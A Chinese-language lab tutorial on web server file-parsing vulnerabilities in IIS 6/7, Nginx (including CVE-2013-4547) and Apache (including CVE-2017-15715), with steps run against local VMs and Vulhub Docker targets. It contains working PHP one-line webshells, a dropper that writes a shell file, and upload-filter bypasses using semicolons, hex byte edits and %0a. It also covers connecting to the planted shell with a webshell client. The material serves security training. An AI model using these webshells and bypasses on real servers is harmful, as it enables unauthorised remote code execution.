⼀：IIS解析漏洞
环境资源：
https://download.csdn.net/download/Nai_zui_jiang/89717504
环境安装
windows2003+iis6 1.创建新的虚拟机
2.在下⼀步中选择我们的iso⽂件镜像 vm已主动识别到windows2003
3.产品密钥⽹上搜⼀个 密码自己设置一个简单的，这里我用的是root
4.后⾯⼀直下⼀步 ⾃动安装
5.等待⼏分钟即可安装成功
6.接下来安装iis 控制⾯板--添加或删除程序---添加/删除windows组件
7.安装完成后web服务扩展全部打开
8.⽹站路径默认为 c:/inetpub/wwwroot
1.1：IIS6.X
⽬录解析
在iis6.x中，.asp⽂件夹中的任意⽂件都会被当做asp⽂件去执⾏。 1.在iis的⽹站根⽬录新建⼀个名为x.asp的⽂件
2.在x.asp中新建⼀个jpg⽂件。内容为<%=now()%> asp代码。
在外部浏览器访问虚拟机
iis⽹站中的1.jpg 发现asp代码被执⾏
将1.jpg⽂件放到⽹站根⽬录下访问，发现其中的asp代码没有被解析。 由此可⻅.asp⽂件夹中的任意 ⽂件会被当做asp⽂件去执⾏
畸形⽂件解析
在IIS 6 处理⽂件解析时， 分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是 shell.asp。另外IIS6.0默认的可执⾏⽂件除了asp还包含 asa\cer\cdx
1.2：IIS7.X
在IIS7.0和IIS7.5版本下也存在解析漏洞，在默认Fast-CGI开启状况下，在⼀个⽂件路径/xx.jpg 后⾯加上/xx.php会将 /xx.jpg/xx.php 解析为 php ⽂件 。利⽤条件：
1. php.ini⾥的cgi.fix_pathinfo=1 开启 2. IIS7在Fast-CGI运⾏模式下环境配置
在本机安装IIS后在安装PHPstudy for IIS
步骤⼆：配置
php.ini
⽂件，将
cgi.fix_pathinfo=1
取消掉...并重启....
利用姿势
直接进行访问不会进行php解析
在url后面加上 .php 后jpg内的php语句被解析出来
GetShell
步骤⼀：将PHP⼀句话⽊⻢写到shell.php并更改后缀为shell.jpg上传到⽬标站点...利⽤解析漏洞进⾏访问http://localhost/shell.jpg/.php
然后复制url使用菜刀进行连接
⼆：Nginx解析漏洞
2.1：nginx_parsing
这个解析漏洞其实是PHP CGI的漏洞，在PHP的配置⽂件中有⼀个关键的选项cgi.fix_pathinfo默认是开 启的，当URL中有不存在的⽂件，PHP就会向前递归解析。在⼀个⽂件/xx.jpg后⾯加上/.php会将 /x x.jpg/xx.php 解析为 php ⽂件。利用条件
Nginx <=0.8.37 cgi.fix_pathinfo=1利用姿势
Nginx的⽂件解析漏洞...和IIS7.0的解析漏洞同样的原理,因为 cgi.fix_pathinfo=1 造成的解析漏洞 同样使⽤ 1.jpg/.php ⽅式进⾏绕过 步骤⼀：进⼊以下Vulhub路径并开启容器cd /nginx/nginx_parsing_vulnerability docker-compose build docker-compose up -d docker ps -a步骤⼆：浏览器中访问⽹站
步骤三：制作图⽚⻢并进⾏上传...获取上传⽂件地址
步骤四：访问以下路径，利⽤Nginx解析漏洞
2.2：CVE-2013-4547
此漏洞为⽂件名逻辑漏洞，该漏洞在上传图⽚时，修改其16进制编码可使其绕过策略，导致解析为 php。 当Nginx得到⼀个⽤户请求时，⾸先对url进⾏解析，进⾏正则匹配，如果匹配到以.php后缀结尾的⽂件名，会将请求的PHP⽂件交给PHP-CGI去解析。影响版本
Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7利⽤姿势
步骤⼀：使⽤以下命令启动靶机并通过浏览器访问靶场⻚⾯# 启动靶场 cd vulhub-master/nginx/CVE-2013-4547x // 切换到靶机⽬录 docker-compose build // 创建环境 docker-compose up -d // 打开环境 # 靶场⻚⾯ http://172.16.1.30:8080/ #shell.php <?php @eval($_POST['cmd']);?>
步骤⼆：直接上传 shell.php 被拦截...修改⽂件后缀为.jpg进⾏上传且在后⾯添加空格；上传成功
步骤四：访问上传后的⽂件....由于url会将其编码，需要继续抓包修改
0x20 0x20
为 0x20 0x00
http://172.16.1.30:8080/uploadfiles/shell.jpg .php
由于⽊⻢地址编码问题，⼯具连不到 可以使⽤以下的php代码输出⼀句话⽊⻢到当前⽬录
<?php fputs(fopen(
"shell.php","w"
),
'<?php eval($_POST["cmd"]);?>'
)?>
三：Apache解析漏洞
在Apache1.x/2.x中Apache 解析⽂件的规则是从右到左开始判断解析,如果后缀名为不可识别⽂件解析, 就再往左判断。如 1.php.xxxxx3.1：apache_parsing
漏洞原理
Apache HTTPD ⽀持⼀个⽂件拥有多个后缀，并为不同后缀执⾏不同的指令。⽐如如下配置⽂件
AddType text/html .html AddLanguage zh-CN .cn其给 .html 后缀增加了 media-type ，值为 text/html ；给 .cn 后缀增加了语⾔，值为 zh-C N 。此时，如果⽤户请求⽂件 index.cn.html ，他将返回⼀个中⽂的html⻚⾯。以上就是Apache多 后缀的特性。如果运维⼈员给 .php 后缀增加了处理器
AddHandler application/x-httpd-php .php那么，在有多个后缀的情况下，只要⼀个⽂件含有 .php 后缀的⽂件即将被识别成PHP⽂件，没必要是最后⼀个后缀。利⽤这个特性，将会造成⼀个可以绕过上传⽩名单的解析漏洞
利⽤姿势
步骤⼀：进⼊Vulhub靶场并执⾏以下命令启动靶场cd /vulhub/httpd/apache_parsing_vulnerability docker-compose up -d docker ps -a
步骤⼆：访问靶机并上传 shell.php.jpg ⽂件，⽂件内容为
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>步骤三：上传成功后与⽹站进⾏路径拼接...如下
http://172.16.1.30/uploadfiles/shell.php.jpg
步骤四：访问⽣成的shell.php并执⾏命令，执⾏成功。
3.2：CVE-2017-15715
Apache HTTPD是⼀款HTTP服务器，它可以通过mod_php来运⾏PHP⽹⻚。其2.4.0~2.4.29版本中存在⼀个解析漏洞，在解析PHP时，1.php\x0A将被按照PHP后缀进⾏解析，导致绕过⼀些服务器安全策略。影响版本
2.4.0~2.4.29
利⽤姿势
进⼊Vulhub靶场并开启⽬标靶机
cd/Vulnhub/httpd/CVE-2017-15715
docker-compose up -d
尝试发送一句话木马发现被拦截
在evil.php⽂件后⾯添加空格
0x20
在改为
0x0a
再次返送即可上传成功
访问上传的evil⽂件在后⾯加上
%0a
再访问发现解析了其中的PHP代码，但后缀不是php说明
存在解析漏洞
http://172.16.1.30:8080/evil.php%0a
